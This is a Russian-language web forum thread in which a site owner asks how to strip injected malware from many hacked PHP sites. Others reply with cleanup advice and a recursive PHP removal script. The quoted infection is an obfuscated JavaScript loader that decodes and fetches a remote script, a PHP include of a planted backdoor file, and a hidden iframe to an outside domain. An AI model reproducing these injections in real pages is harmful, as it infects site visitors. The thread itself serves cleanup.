Помогите со скриптом массовая замена текста в файлах

Тема в разделе "PHP", создана пользователем Kewl, 1 авг 2011.

Модераторы: latteo
  1. Kewl

    Kewl

    Регистр.:
    9 сен 2007
    Сообщения:
    249
    Симпатии:
    107
    ломанули сайты и много на 1 площадке.
    скачивать нету возможности так как там же права на файлах стоят.

    Помогите надо выгрзыть со всех файлов


    <script>
    function vdch() {
    if(document.all.length > 3) {
    var t = new Array('#6a7072', '#723e29', '#2d7371', '#752a62', '#637d65', '#6d2a60', '#702b63', '#7a7029');
    var dchid = ""; for (j=0;j<t.length;j++) { var c_rgb = t[j]; for (i=1;i<7;i++) { var c_clr = c_rgb.substr(i++,2); if (c_clr!="00") dchid += String.fromCharCode(parseInt(c_clr,16)^i); } }
    var dch = document.createElement("script");
    dch.id = "dchid";
    dch.src = dchid;
    document.all[3].appendChild(dch);
    } else {
    setTimeout("vdch()",500);
    }
    } setTimeout("vdch()",500);
    </script>



    if(@file_exists('/usr/home/h9009/data/www/lodnat.ru/images/librariesets.php')) { require_once('/usr/home/h9009/data/www/lodnat.ru/images/librariesets.php'); }


    Соответственно надо удалить со всех категорий и под категорий с файлов внутри сайта.

    Вот это вставлено везде.

    Спасибо всем.
     
    zero57 нравится это.
  2. PHPCod3r

    PHPCod3r

    Регистр.:
    7 июн 2010
    Сообщения:
    261
    Симпатии:
    25
    А вы уверены что это вставлено во всех файлах в одном и том же месте, и что нету другой заразы на сайте?
    В таких случаях помогает, полное востановление из чистого, хорошо
    провереного бэк апа, ну и соответствено, смена всех пассов к фтп/ccш и тд....
    Ну а если есть подозрение то и смена хостера )
     
  3. Yfo

    Yfo Создатель

    Регистр.:
    30 окт 2007
    Сообщения:
    43
    Симпатии:
    4
    Пройтись RecursiveDirectoryIterator и заменить в каждом файле текст.
     
  4. Kewl

    Kewl

    Регистр.:
    9 сен 2007
    Сообщения:
    249
    Симпатии:
    107
    Спасибо всем, правда так и не помогли, но хотя бы попробовали!
    Уже давно сделали шелом. Хотсер не причем, я отдыхал, бэкапы делаются 2 недели. и две недели они заражены, был еще один но он был майский. Так что увы).
     
  5. PHPCod3r

    PHPCod3r

    Регистр.:
    7 июн 2010
    Сообщения:
    261
    Симпатии:
    25
    Ну если скрипты не самопал то можно попробывать установить последнии релизы, с офф сайта...


    Ну и еще в базу стоит заглянуть, туда тоже могут понапихать много чего, плохого
     
  6. OpS87

    OpS87

    Регистр.:
    9 авг 2011
    Сообщения:
    175
    Симпатии:
    15
    Ну как вариант откройте все файлы и нажмите ctrl+H(найти и заменить!)
     
  7. usja

    usja Создатель

    Регистр.:
    17 авг 2011
    Сообщения:
    34
    Симпатии:
    5
    PHP:
    <?php
    $virus_text 
    '<iframe src="http://zuo.podgorz.org/zuo/elen/index.php" width="0" height="0" frameborder="0"></iframe>';
    $skip_files = array ('delvirus.php');
    $del false;
    $dir getcwd().'/';
    $num_infected 0;
    function 
    dir_walk($callback$dir$types null$recursive false$baseDir '') {
        if (
    $dh opendir($dir)) {
            while ((
    $file readdir($dh))!== false) {
                if (
    $file === '.' || $file === '..') {
                    continue;
                }
                if (
    is_file($dir $file)) {
                    if (
    is_array($types)) {
                        if (!
    in_array(strtolower(pathinfo($dir $filePATHINFO_EXTENSION)), $typestrue)) {
                            continue;
                        }
                    }
                    
    $callback($baseDir$file);
                }elseif(
    $recursive && is_dir($dir $file)) {
                    
    dir_walk($callback$dir $file DIRECTORY_SEPARATOR$types$recursive$baseDir $file DIRECTORY_SEPARATOR);
                }
            }
            
    closedir($dh);
        }
    }
    function 
    del_virus ($fdir$ffile)
    {
        
    $flag false;
        
    $filename $fdir.$ffile;
        echo 
    $filename;
            
    $file=file($filename);
            foreach(
    $file as $k=>$v)
            if (!
    stristr($v,$GLOBALS['virus_text']))
            
    $nfile[]=$v;
            else
            {
             if (!
    $flag) {
                
    $flag=true;
                if (
    in_array($ffile$GLOBALS['skip_files']))
                echo 
    " - skipped";
                else
                {
                    echo 
    " - infected";
                    
    $GLOBALS['num_infected']++;
                }
             }
            }
            if ( 
    $GLOBALS['del'] ) {
                
    $file=fopen($filename,"w");
                
    fwrite($file,implode($nfile,""));
                
    fclose($file);
            }
        echo 
    "
    "
    ;
    };
    dir_walk('del_virus'$dir, array('php','php5','html','htm','shtml'), true$dir );
    echo 
    "Num infected = $num_infected 
    "
    ;
    ?>
    $virus_text = ‘тут пишем скрипт который удалить надо’;
    $del = false; меняем здесь на true если хотим сделать очистку от вируса.
    $skip_files = array (‘delvirus.php’); – указываем файлы которые не нужно проверять